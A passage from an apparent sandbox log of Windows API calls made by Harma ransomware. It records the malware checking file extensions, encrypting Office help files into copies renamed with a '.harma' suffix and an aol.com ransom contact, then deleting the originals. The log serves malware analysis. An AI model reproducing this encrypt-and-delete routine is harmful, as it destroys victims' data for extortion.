Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0157.338] lstrlenW (lpString=".1cd") returned 4 [0157.339] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0157.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0157.339] lstrlenW (lpString=".jpg") returned 4 [0157.339] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0157.339] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0157.339] lstrlenW (lpString="MSACCESS.DEV.HXS") returned 16 [0157.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.341] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=10745972) returned 1 [0157.341] CloseHandle (hObject=0x208) returned 1 [0157.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs")) returned 0x20 [0157.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0157.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0157.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0157.342] lstrlenW (lpString=".doc") returned 4 [0157.342] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0157.342] lstrlenW (lpString=".docx") returned 5 [0157.342] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0157.342] lstrlenW (lpString=".pdf") returned 4 [0157.342] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0157.342] lstrlenW (lpString=".xls") returned 4 [0157.342] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0157.342] lstrlenW (lpString=".xlsx") returned 5 [0157.342] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0157.342] lstrlenW (lpString=".ppt") returned 4 [0157.342] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0157.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0157.342] lstrlenW (lpString=".zip") returned 4 [0157.342] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0157.342] lstrlenW (lpString=".rar") returned 4 [0157.342] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0157.342] lstrlenW (lpString=".bz2") returned 4 [0157.342] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0157.342] lstrlenW (lpString=".7z") returned 3 [0157.342] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0157.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0157.343] lstrlenW (lpString=".dbf") returned 4 [0157.343] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0157.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0157.343] lstrlenW (lpString=".1cd") returned 4 [0157.343] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0157.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0157.343] lstrlenW (lpString=".jpg") returned 4 [0157.343] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0157.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0157.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0157.343] lstrlenW (lpString=".doc") returned 4 [0157.343] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0157.343] lstrlenW (lpString=".docx") returned 5 [0157.343] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0157.343] lstrlenW (lpString=".pdf") returned 4 [0157.343] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0157.343] lstrlenW (lpString=".xls") returned 4 [0157.343] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0157.343] lstrlenW (lpString=".xlsx") returned 5 [0157.343] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0157.343] lstrlenW (lpString=".ppt") returned 4 [0157.343] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0157.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0157.343] lstrlenW (lpString=".zip") returned 4 [0157.343] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0157.343] lstrlenW (lpString=".rar") returned 4 [0157.343] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0157.343] lstrlenW (lpString=".bz2") returned 4 [0157.343] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0157.343] lstrlenW (lpString=".7z") returned 3 [0157.343] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0157.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0157.344] lstrlenW (lpString=".dbf") returned 4 [0157.344] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0157.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0157.344] lstrlenW (lpString=".1cd") returned 4 [0157.344] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0157.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0157.344] lstrlenW (lpString=".jpg") returned 4 [0157.344] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0157.344] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0157.344] lstrlenW (lpString="MSACCESS.DEV_COL.HXC") returned 20 [0157.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.344] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=656) returned 1 [0157.344] CloseHandle (hObject=0x208) returned 1 [0157.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc")) returned 0x20 [0157.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.345] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.345] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.346] GetLastError () returned 0x0 [0157.346] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x290, lpOverlapped=0x0) returned 1 [0157.380] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0157.381] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.381] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfc, lpOverlapped=0x0) returned 1 [0157.381] SetEndOfFile (hFile=0x388) returned 1 [0157.385] CloseHandle (hObject=0x388) returned 1 [0157.385] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.385] SetEndOfFile (hFile=0x208) returned 1 [0157.388] CloseHandle (hObject=0x208) returned 1 [0157.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc")) returned 1 [0157.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0157.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0157.389] lstrlenW (lpString=".doc") returned 4 [0157.389] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0157.389] lstrlenW (lpString=".docx") returned 5 [0157.389] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0157.389] lstrlenW (lpString=".pdf") returned 4 [0157.389] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0157.389] lstrlenW (lpString=".xls") returned 4 [0157.389] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0157.389] lstrlenW (lpString=".xlsx") returned 5 [0157.389] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0157.389] lstrlenW (lpString=".ppt") returned 4 [0157.389] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0157.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0157.389] lstrlenW (lpString=".zip") returned 4 [0157.389] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0157.389] lstrlenW (lpString=".rar") returned 4 [0157.389] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0157.389] lstrlenW (lpString=".bz2") returned 4 [0157.389] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0157.389] lstrlenW (lpString=".7z") returned 3 [0157.389] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0157.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0157.389] lstrlenW (lpString=".dbf") returned 4 [0157.389] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0157.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0157.389] lstrlenW (lpString=".1cd") returned 4 [0157.389] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0157.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0157.389] lstrlenW (lpString=".jpg") returned 4 [0157.390] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0157.390] lstrlenW (lpString=".doc") returned 4 [0157.390] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0157.390] lstrlenW (lpString=".docx") returned 5 [0157.390] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0157.390] lstrlenW (lpString=".pdf") returned 4 [0157.390] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0157.390] lstrlenW (lpString=".xls") returned 4 [0157.390] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0157.390] lstrlenW (lpString=".xlsx") returned 5 [0157.390] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0157.390] lstrlenW (lpString=".ppt") returned 4 [0157.390] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0157.390] lstrlenW (lpString=".zip") returned 4 [0157.390] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0157.390] lstrlenW (lpString=".rar") returned 4 [0157.390] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0157.390] lstrlenW (lpString=".bz2") returned 4 [0157.390] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0157.390] lstrlenW (lpString=".7z") returned 3 [0157.390] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0157.390] lstrlenW (lpString=".dbf") returned 4 [0157.390] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0157.390] lstrlenW (lpString=".1cd") returned 4 [0157.390] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0157.390] lstrlenW (lpString=".jpg") returned 4 [0157.391] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0157.391] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0157.391] lstrlenW (lpString="MSACCESS.DEV_COL.HXT") returned 20 [0157.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.391] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=212) returned 1 [0157.391] CloseHandle (hObject=0x208) returned 1 [0157.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt")) returned 0x20 [0157.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.392] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.392] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.393] GetLastError () returned 0x0 [0157.393] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xd4, lpOverlapped=0x0) returned 1 [0157.393] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe0, lpOverlapped=0x0) returned 1 [0157.394] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.394] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfc, lpOverlapped=0x0) returned 1 [0157.394] SetEndOfFile (hFile=0x388) returned 1 [0157.395] CloseHandle (hObject=0x388) returned 1 [0157.395] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.395] SetEndOfFile (hFile=0x208) returned 1 [0157.397] CloseHandle (hObject=0x208) returned 1 [0157.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt")) returned 1 [0157.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0157.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0157.398] lstrlenW (lpString=".doc") returned 4 [0157.398] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0157.398] lstrlenW (lpString=".docx") returned 5 [0157.398] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0157.398] lstrlenW (lpString=".pdf") returned 4 [0157.398] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0157.398] lstrlenW (lpString=".xls") returned 4 [0157.398] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0157.398] lstrlenW (lpString=".xlsx") returned 5 [0157.398] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0157.398] lstrlenW (lpString=".ppt") returned 4 [0157.398] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0157.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0157.398] lstrlenW (lpString=".zip") returned 4 [0157.398] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0157.399] lstrlenW (lpString=".rar") returned 4 [0157.399] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0157.399] lstrlenW (lpString=".bz2") returned 4 [0157.399] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0157.399] lstrlenW (lpString=".7z") returned 3 [0157.399] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0157.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0157.399] lstrlenW (lpString=".dbf") returned 4 [0157.399] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0157.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0157.399] lstrlenW (lpString=".1cd") returned 4 [0157.399] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0157.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0157.399] lstrlenW (lpString=".jpg") returned 4 [0157.399] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0157.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0157.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0157.399] lstrlenW (lpString=".doc") returned 4 [0157.399] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0157.399] lstrlenW (lpString=".docx") returned 5 [0157.399] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0157.399] lstrlenW (lpString=".pdf") returned 4 [0157.399] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0157.399] lstrlenW (lpString=".xls") returned 4 [0157.399] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0157.399] lstrlenW (lpString=".xlsx") returned 5 [0157.399] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0157.399] lstrlenW (lpString=".ppt") returned 4 [0157.399] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0157.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0157.400] lstrlenW (lpString=".zip") returned 4 [0157.400] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0157.400] lstrlenW (lpString=".rar") returned 4 [0157.400] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0157.400] lstrlenW (lpString=".bz2") returned 4 [0157.400] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0157.400] lstrlenW (lpString=".7z") returned 3 [0157.400] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0157.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0157.400] lstrlenW (lpString=".dbf") returned 4 [0157.400] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0157.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0157.400] lstrlenW (lpString=".1cd") returned 4 [0157.400] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0157.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0157.400] lstrlenW (lpString=".jpg") returned 4 [0157.400] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0157.400] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0157.400] lstrlenW (lpString="MSACCESS.DEV_F_COL.HXK") returned 22 [0157.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.401] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=114) returned 1 [0157.401] CloseHandle (hObject=0x208) returned 1 [0157.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk")) returned 0x20 [0157.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.401] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.401] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.402] GetLastError () returned 0x0 [0157.402] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x72, lpOverlapped=0x0) returned 1 [0157.403] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: 